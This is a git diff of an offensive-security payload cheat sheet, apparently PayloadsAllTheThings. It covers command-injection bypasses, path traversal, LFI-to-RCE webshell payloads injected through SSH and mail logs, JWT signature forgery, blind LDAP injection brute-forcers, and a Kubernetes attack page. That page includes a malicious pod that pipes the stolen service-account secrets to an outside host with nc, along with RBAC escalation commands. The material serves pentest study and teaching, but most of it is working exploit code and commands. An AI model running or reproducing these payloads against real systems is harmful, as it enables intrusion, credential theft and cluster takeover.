swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1'
/
swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< .
/
swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
### Bypass Blacklisted words
#### Bypass with single quote

View File

@ -4,8 +4,26 @@
## Summary
* [Tools](#tools)
* [Basic exploitation](#basic-exploitation)
* [16 bits Unicode encoding](#16-bits-unicode-encoding)
* [UTF-8 Unicode encoding](#utf-8-unicode-encoding)
* [Bypass "../" replaced by ""](#bypass--replaced-by-)
* [Bypass "../" with ";"](#bypass--with-)
* [Double URL encoding](#double-url-encoding)
* [UNC Bypass](#unc-bypass)
* [Path Traversal](#path-traversal)
* [Interesting Linux files](#interesting-linux-files)
* [Interesting Windows files](#interesting-windows-files)
* [References](#references)
## Tools
- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn)
```powershell
git clone https://github.com/wireghoul/dotdotpwn
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
```
## Basic exploitation
@ -22,7 +40,7 @@ We can use the `..` characters to access the parent directory, the following str
%uff0e%uff0e%u2216
```
16 bit Unicode encoding
### 16 bits Unicode encoding
```powershell
. = %u002e
@ -30,7 +48,7 @@ We can use the `..` characters to access the parent directory, the following str
\ = %u2216
```
UTF-8 Unicode encoding
### UTF-8 Unicode encoding
```powershell
. = %c0%2e, %e0%40%ae, %c0ae
@ -38,6 +56,7 @@ UTF-8 Unicode encoding
\ = %c0%5c, %c0%80%5c
```
### Bypass "../" replaced by ""
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
```powershell
@ -45,7 +64,14 @@ Sometimes you encounter a WAF which remove the "../" characters from the strings
...\.\
```
Double URL encoding
### Bypass "../" with ";"
```powershell
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
```
### Double URL encoding
```powershell
. = %252e
@ -53,10 +79,20 @@ Double URL encoding
\ = %255c
```
**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`
### UNC Bypass
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
```powershell
\\localhost\c$\windows\win.ini
```
## Path Traversal
Linux - Interesting files to check out :
### Interesting Linux files
```powershell
/etc/issue
@ -76,9 +112,18 @@ Linux - Interesting files to check out :
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
```
Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
### Interesting Windows files
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
```powershell
c:/boot.ini
@ -101,6 +146,8 @@ c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
```
The following log files are controllable and can be included with an evil payload to achieve a command execution
@ -118,15 +165,7 @@ The following log files are controllable and can be included with an evil payloa
/var/log/mail
```
Other easy win files.
```powershell
/proc/self/cwd/index.php
/home/$USER/.bash_history
/var/run/secrets/kubernetes.io/serviceaccount
```
## References
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)

View File

@ -6,9 +6,11 @@
## Summary
* [Tools](#tools)
* [Basic LFI](#basic-lfi)
* [Null byte](#null-byte)
* [Double encoding](#double-encoding)
* [UTF-8 encoding](#utf-8-encoding)
* [Path and dot truncation](#path-and-dot-truncation)
* [Filter bypass tricks](#filter-bypass-tricks)
* [Basic RFI](#basic-rfi)
@ -26,6 +28,13 @@
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
## Tools
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Basic LFI
@ -37,6 +46,8 @@ http://example.com/index.php?page=../../../etc/passwd
### Null byte
:warning: In versions of PHP below 5.3.4 we can terminate with null byte.
```powershell
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -48,6 +59,13 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### UTF-8 encoding
```powershell
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
```
### Path and dot truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
@ -104,6 +122,7 @@ The part "php://filter" is case insensitive
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
@ -114,7 +133,14 @@ can be chained with a compression wrapper for large files.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
NOTE: Wrappers can be chained : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
NOTE: Wrappers can be chained multiple times using `|` or `/`:
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```
### Wrapper zip://
@ -145,11 +171,16 @@ http://example.com/index.php?page=expect://ls
### Wrapper input://
Specify your payload in the POST parameters
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
```powershell
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```
Alternatively, Kadimus has a module to automate this attack.
```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
```
### Wrapper phar://
@ -243,9 +274,14 @@ print('[x] Something went wrong, please try again')
## LFI to RCE via phpinfo()
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
@ -263,6 +299,49 @@ http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```
### RCE via SSH
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```
Then include the SSH log files inside the Web Application.
```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```
### RCE via Mail
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the `mail` command line.
```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
@ -272,7 +351,7 @@ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
@ -291,6 +370,31 @@ Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```
## LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
### Windows version
First extract `sam` and `system` files.
```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
### Linux version
First extract `/etc/shadow` files.
```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```
Then crack the hashes inside in order to login via SSH on the machine.
## References
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
@ -307,4 +411,4 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

File diff suppressed because one or more lines are too long

View File

@ -63,10 +63,12 @@ JRE8u20_RCE_Gadget
JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool, [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss)
ysoserial-modified [https://github.com/pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified)
## References
- [Github - ysoserial](https://github.com/frohoff/ysoserial)
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)

View File

@ -99,7 +99,7 @@ if($obj) {
Payload:
```php
O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
```
## Others exploits

View File

@ -12,6 +12,7 @@ Check the following sub-sections, located in other files :
## References
* [Github - ysoserial](https://github.com/frohoff/ysoserial)
* [Github - ysoserial.net](https://github.com/pwntester/ysoserial.net)
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
@ -24,4 +25,6 @@ Check the following sub-sections, located in other files :
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
* [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh

View File

@ -2,6 +2,7 @@
- [GIT - Source code management](#git---source-code-management)
- [Github example with a .git](#github-example-with-a-git)
- [Recovering the content of .git/index](#recovering-the-content-of-gitindex)
- [Automatic way : diggit.py](#automatic-way--diggitpy)
- [Automatic way : GoGitDumper](#automatic-way-gogitdumper)
- [Automatic way : rip-git](#automatic-way--rip-git)

View File

@ -4,10 +4,15 @@
## Summary
- JWT Format
- JWT Signature - None algorithm
- JWT Signature - RS256 to HS256
- Breaking JWT's secret
- [Tools](#tools)
- [JWT Format](#jwt-format)
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
- [Breaking JWT's secret](#breaking-jwts-secret)
- [JWT Tool](#jwt-tool)
- [JWT cracker](#jwt-cracker)
- [Hashcat](#hashcat)
- [References](#references)
## Tools
@ -41,6 +46,24 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
}
```
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|---|---|---|
| HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required |
### Payload
```json
@ -67,41 +90,35 @@ JWT Encoder Decoder: `http://jsonwebtoken.io`
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
* none
* None
* NONE
* nOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
However, this won't work unless you **remove** the signature
The following code is a basic test for a None algorithm.
```python
import jwt
import base64
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
```
Alternatively you can modify an existing JWT (be careful with the expiration time)
```python
#!/usr/bin/python
```python3
#!/usr/bin/python3
# -*- coding: utf-8 -*-
jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ"
header, payload, signature = jwt.split('.')
import jwt
# Replacing the ALGO and the payload username
header = header.decode('base64').replace('HS256',"none")
payload = (payload+"==").decode('base64').replace('test','admin')
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
header = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")
decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")
print(noneEncoded.decode())
"""
Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
"""
```
## JWT Signature - RS256 to HS256
@ -118,9 +135,37 @@ print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
```
Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
`pip install pyjwt==0.4.3`.
Here are the steps to edit an RS256 JWT token into an HS256
1. Convert our public key (key.pem) into HEX with this command.
```powershell
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
```
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
```powershell
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
```
3. Convert signature (Hex to "base64 URL")
```powershell
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
```
4. Add signature to edited payload
```powershell
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
```
## Breaking JWT's secret
@ -211,7 +256,7 @@ Secret is "Sn1f"
### Hashcat
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](twitter.com/hashcat/status/955154646494040065)
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
```bash
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
@ -231,4 +276,7 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [Write up JRR Token LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)

202
Kubernetes/readme.md Normal file
View File

@ -0,0 +1,202 @@
# Kubernetes
> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
## Summary
- [Tools](#tools)
- [RBAC Configuration](#rbac-configuration)
- [Listing Secrets](#listing-secrets)
- [Access Any Resource or Verb](#access-any-resource-or-verb)
- [Pod Creation](#pod-creation)
- [Privilege to Use Pods/Exec](#privilege-to-use-pods-exec)
- [Privilege to Get/Patch Rolebindings](#privilege-to-get-patch-rolebindings)
- [Impersonating a Privileged Account](#impersonating-a-privileged-account)
- [Privileged Service Account Token](#privileged-service-account-token)
- [Interesting endpoints to reach](#interesting-endpoints-to-reach)
- [API addresses that you should know](#api-adresses-that-you-should-know)
- [References](#references)
## Tools
* [kubeaudit](https://github.com/Shopify/kubeaudit). kubeaudit is a command line tool to audit Kubernetes clusters for various different security concerns: run the container as a non-root user, use a read only root filesystem, drop scary capabilities, don't add new ones, don't run privileged, ...
* [kubesec.io](https://kubesec.io/). Security risk analysis for Kubernetes resources.
* [kube-bench](https://github.com/aquasecurity/kube-bench). kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/).
* [katacoda](https://katacoda.com/courses/kubernetes). Learn Kubernetes using interactive broser-based scenarios.
## Service Token
> As it turns out, when pods (a Kubernetes abstraction for a group of containers) are created they are automatically assigned the default service account, and a new volume is created containing the token for accessing the Kubernetes API. That volume is then mounted into all the containers in the pod.
```powershell
$ cat /var/run/secrets/kubernetes.io/serviceaccount
# kubectl makes cluster compromise trivial as it will use that serviceaccount token without additional prompting
```
## RBAC Configuration
### Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
```powershell
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Access Any Resource or Verb
```powershell
resources:
- '*'
verbs:
- '*'
```
### Pod Creation
Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`.
Then create a malicious pod.yaml file.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
Then `kubectl apply -f malicious-pod.yaml`
### Privilege to Use Pods/Exec
```powershell
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> - sh
```
### Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account.
Create a malicious RoleBinging.json file.
```powershell
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
```
```powershell
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
### Impersonating a Privileged Account
```powershell
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
## Privileged Service Account Token
```powershell
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
```
## Interesting endpoints to reach
```powershell
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
```
## API addresses that you should know
*(External network visibility)*
### cAdvisor
```powershell
curl -k https://<IP Address>:4194
```
### Insecure API server
```powershell
curl -k https://<IP Address>:8080
```
### Secure API Server
```powershell
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
### etcd API
```powershell
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Kubelet API
```powershell
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
### kubelet (Read only)
```powershell
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
## References
- [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
- [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)

View File

@ -96,9 +96,92 @@ userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
```
## Scripts
### Discover valid LDAP fields
```python
#!/usr/bin/python3
import requests
import string
fields = []
url = 'https://URL.com/'
f = open('dic', 'r') #Open the wordlists of common attributes
wordl = f.read().split('\n')
f.close()
for i in wordl:
r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
if 'TRUE CONDITION' in r.text:
fields.append(str(i))
print(fields)
```
Ref. [5][5]
### Special Blind LDAP Injection (without "*")
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
Ref. [5][5]
```ruby
#!/usr/bin/env ruby
require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')
flag = ''
(0..50).each do |i|
puts("[i] Looking for number #{i}")
alphabet.each do |char|
r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
if /TRUE CONDITION/.match?(r)
flag += char
puts("[+] Flag: #{flag}")
break
end
end
end
```
